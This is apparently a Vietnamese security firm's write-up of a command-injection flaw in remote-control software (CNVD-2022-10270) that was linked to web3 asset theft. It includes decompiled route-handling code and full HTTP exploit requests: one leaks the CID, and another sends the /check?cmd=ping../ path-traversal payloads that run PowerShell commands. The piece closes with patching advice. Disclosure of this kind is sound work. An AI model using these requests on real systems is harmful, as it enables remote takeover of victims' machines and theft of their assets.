Gần đây, một số chủ sở hữu tiền điện tử web3 đã báo cáo việc mất tài sản kỹ thuật số của họ khi sử dụng phần mềm điều khiển từ xa.
Địa chỉ ví được liên kết với tin tặc là 0xbb3fd383d1c5540e52ef0a7bcb9433375793aeaf.
Năm ngoái, đã xảy ra một sự cố liên quan đến một phần mềm điều khiển từ xa gặp sự cố bùng nổ dịch vụ do rò rỉ thông tin nhận dạng khách hàng (CID) và lỗ hổng chèn lệnh (CNVD-2022–10270/CNVD-2022–03672).
Bất cứ khi nào phần mềm được khởi chạy, nó sẽ tự động mở một số cổng ngẫu nhiên lớn hơn 40000 dưới dạng dịch vụ HTTP. Trong trường hợp giá trị cmd của tham số bắt đầu bằng ping hoặc nslookup trong tuyến /check, bất kỳ lệnh nào cũng có thể được thực thi.
Điều này cho phép kẻ tấn công gửi một tác nhân C2, cho phép chúng theo dõi hệ thống của nạn nhân trong một thời gian dài.
Phiên bản cá nhân cho Windows <= 11.0.0.33162
Phiên bản đơn giản <= V1.0.1.43315
Hãy xem login.cgi
v5 = (__int64 (__fastcall *)())operator new(0x50ui64); v55 = v5; v54 = 15i64; v53 = 0i64; v51[0] = 0; sub_1400F0690(v51, "login.cgi", 9ui64); v6 = sub_140E2D6BC(v5, v51); v57 = &off_1410D3B20; v58 = (char (__fastcall *)(__int64, __int64))sub_140E1EE50; v59 = v52; v60 = a1; v61 = &v57; v66 = (_QWORD *)v6; if ( v6 ) { v7 = v6 + 8 + *(int *)(*(_QWORD *)(v6 + 8) + 4i64); (*(void (__fastcall **)(__int64))(*(_QWORD *)v7 + 8i64))(v7); } sub_140E2D85C(a1 + 55, &v66, &v57); LOBYTE(v8) = 1; sub_1400EEDC0(v51, v8, 0i64); v56 = &v57; v9 = (__int64 (__fastcall *)())operator new(0x50ui64); v55 = v9; v54 = 15i64; v53 = 0i64; v51[0] = 0; sub_1400F0690(v51, (void *)"cgi-bin/login.cgi", 0x11ui64); v10 = sub_140E2D6BC(v9, v51); v57 = &off_1410D3B20; v58 = (char (__fastcall *)(__int64, __int64))sub_140E1EE50; v59 = v52; v60 = a1; v61 = &v57; v66 = (_QWORD *)v10; if ( v10 ) { v11 = v10 + 8 + *(int *)(*(_QWORD *)(v10 + 8) + 4i64); (*(void (__fastcall **)(__int64))(*(_QWORD *)v11 + 8i64))(v11); } sub_140E2D85C(a1 + 55, &v66, &v57); LOBYTE(v12) = 1; sub_1400EEDC0(v51, v12, 0i64); v56 = &v57; v13 = (__int64 (__fastcall *)())operator new(0x50ui64); v55 = v13; v54 = 15i64; v53 = 0i64; v51[0] = 0; sub_1400F0690(v51, (void *)"cgi-bin/rpc", 0xBui64); v14 = sub_140E2D6BC(v13, v51); v57 = &off_1410D3B20; v58 = sub_140E1C954; v59 = v52; v60 = a1; v61 = &v57; v66 = (_QWORD *)v14; if ( v14 ) { v15 = v14 + 8 + *(int *)(*(_QWORD *)(v14 + 8) + 4i64); (*(void (__fastcall **)(__int64))(*(_QWORD *)v15 + 8i64))(v15); }
Điều hướng đến cgi-bin/rpc
Nhận tuyến đường sau
v63 = (*(__int64 (__fastcall **)(_QWORD))(**(_QWORD **)(a1 + 8) + 104i64))(*(_QWORD *)(a1 + 8)); sub_140320D80( (int)&qword_1414049C0, 1, (int)"..\\includes\\libsunloginclient\\client\\HttpDecideClientType.cpp", (int)"CHttpDecideTcpClientType::DecideClient", 205, "[Acceptor][HTTP] new RC HTTP connection %s,%s, plugin:%s, session:%s", v63); if ( (unsigned int)sub_140101DB0(v116, "login") && strcmp(v61, "express_login") && strcmp(v61, "cgi-bin/login.cgi") && strcmp(v61, "log") && strcmp(v61, "cgi-bin/rpc") && strcmp(v61, "transfer") && strcmp(v61, "cloudconfig") && strcmp(v61, "getfastcode") && strcmp(v61, "assist") && strcmp(v61, "cloudconfig") && strcmp(v61, "projection") && strcmp(v61, "getaddress") && strcmp(v61, "sunlogin-tools") ) ... sub_1400F05E0(v116); goto LABEL_168; } } if ( !(unsigned int)sub_140101DB0(v116, "login") || !(unsigned int)sub_140101DB0(v116, "control") || !strcmp(v61, "express_login") || !strcmp(v61, "cgi-bin/login.cgi") || !strcmp(v61, "cgi-bin/rpc") || !strcmp(v61, "desktop.list") || !strcmp(v61, "cloudconfig") || !strcmp(v61, "check") || !strcmp(v61, "transfer") || !strcmp(v61, "getfastcode") || !strcmp(v61, "assist") || !strcmp(v61, "micro-live/enable") || !strcmp(v61, "projection") || !strcmp(v61, "getaddress") ) { v103 = *(_QWORD *)(a1 + 8);
Theo thông tin về lỗ hổng được tiết lộ trực tuyến, bằng cách lấy CID xác thực đầu tiên từ tuyến cgi-bin/rpc, có thể phân biệt chức năng bằng cách kiểm tra tham số hành động.
Khi tham số hành động được đặt thành verify-haras, hàm sẽ trả về một verify_string.
if ( !(unsigned int)sub_140101DB0(v131, "verify-haras") ) { sub_1400F0690(Src, "{\"__code\":0,\"enabled\":\"1\",\"verify_string\":\"", 0x2Bui64); LOBYTE(v22) = 1; v23 = (*(__int64 (__fastcall **)(_QWORD, char *, __int64))(**(_QWORD **)(*(_QWORD *)(a1 + 416) + 288i64) + 144i64))( *(_QWORD *)(*(_QWORD *)(a1 + 416) + 288i64), v125, v22); sub_1400EEE40(Src, v23, 0i64, -1i64); sub_1400F05E0(v125); sub_1400EEC60(Src, "\",\"code\":0} ", 0xCui64); v73 = 1; CxxThrowException(&v73, (_ThrowInfo *)&stru_1412F7B30); }
Nếu tham số hành động được đặt thành loại đăng nhập, hàm sẽ trả về thông tin về thiết bị của nạn nhân.
if ( !(unsigned int)sub_140101DB0(v131, "login-type") ) { sub_1405ACBA0(v93); v16 = "0"; if ( (*(unsigned __int8 (__fastcall **)(_QWORD))(**(_QWORD **)(*(_QWORD *)(a1 + 416) + 288i64) + 112i64))(*(_QWORD *)(*(_QWORD *)(a1 + 416) + 288i64)) ) ... memset(Buffer, 0, sizeof(Buffer)); sub_140150A60( Buffer, "{\"__code\":0,\"use_custom\":%d,\"code\":0,\"version\":\"%s\",\"isbinding\":%s,\"isinstalled\":%s,\"isprojection\"" ":%s,\"platform\":\"%s\",\"mac\":\"%s\",\"request_need_pwd\":\"%s\",\"accept_request\":\"1\",\"support_file\":\"1\"" ",\"disable_remote_bind\":\"%s\"} "); if ( Buffer[0] ) { do ++v6; while ( Buffer[v6] ); v4 = v6; } sub_1400F0690(Src, Buffer, v4); v72 = 1; CxxThrowException(&v72, (_ThrowInfo *)&stru_1412F7B30); }
Ngoài những điều trên, còn có hai tham số khác: đăng nhập nhanh và yêu cầu liên kết.
Bằng cách kiểm tra tuyến kiểm tra, kẻ tấn công có thể tạo các lệnh độc hại bằng cách sử dụng ping hoặc nslookup, do đó cho phép chúng thực thi lệnh từ xa.
Tuyến getaddress cho phép truy xuất địa chỉ dịch vụ https được ánh xạ tới một cổng cố định trên extranet. Địa chỉ này có thể dễ dàng được thu thập thông tin bởi các công cụ tìm kiếm nội dung web hoặc bị quét bởi những kẻ tấn công, do đó mở rộng phạm vi tấn công ra ngoài mạng nội bộ.
Mỗi lần khởi động, giao diện rpc chọn ngẫu nhiên một số cổng lớn hơn 40.000.
Bước đầu tiên là lấy CID của người dùng/thực thể bị ảnh hưởng.
GET /cgi-bin/rpc?action=verify-haras HTTP/1.1 Host: 10.211.55.3:49716 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
Sau đó, kẻ tấn công có thể thêm CID vào cookie xác thực, giống như sau: Cookie: CID=Pvqsv5f5QDs8vYotYsUEFvTkqJuKeZIS. Điều này cho phép họ thực hiện bất kỳ lệnh nào trên máy tính của nạn nhân.
GET /check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe+whoami+/all HTTP/1.1 Host: 10.211.55.3:49716 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Cookie:CID=Pvqsv5f5QDs8vYotYsUEFvTkqJuKeZIS User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/111.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9 Connection: close
/check?cmd=ping../../../../../../../../../windows/system32/WindowsPowerShell/v1.0/powershell.exe+ipconfig
Truy cập và xem các tập tin hệ thống của nạn nhân.
Khi cơ sở hạ tầng web3 tiếp tục phát triển, giá trị cao của tài sản kỹ thuật số và khả năng tàng hình của cơ sở hạ tầng web3 khiến nó trở thành mục tiêu hấp dẫn của tin tặc. Họ đã chuyển từ bảo mật mạng truyền thống sang đánh cắp dữ liệu trong hệ sinh thái web3, bao gồm cả đánh cắp tài sản kỹ thuật số của người dùng.
Nhiều tin tặc hiện sử dụng các cuộc tấn công 0 ngày/1 ngày để xâm nhập vào các cơ sở mục tiêu như máy chủ, máy chủ cá nhân, ứng dụng ví và ứng dụng khách di động. Mục tiêu cuối cùng của họ là đánh cắp tài sản kỹ thuật số của người dùng.
Để bảo vệ chống lại các cuộc tấn công như vậy, người dùng nên cập nhật và vá lỗi hệ thống của họ, tránh nhấp vào các liên kết từ các nguồn không xác định và lưu trữ khóa của họ trong các hệ thống bị cô lập.
Với bối cảnh Web3 không ngừng mở rộng, các dự án bắt buộc phải ưu tiên đảm bảo an toàn cho tài sản của người dùng và áp dụng các phương pháp hay nhất trong ngành, chẳng hạn như kiểm toán toàn diện và thường xuyên quét các điểm yếu để giảm thiểu khả năng xảy ra các cuộc tấn công tương tự trong tương lai.
Đọc thêm về các dịch vụ của chúng tôi ở đây .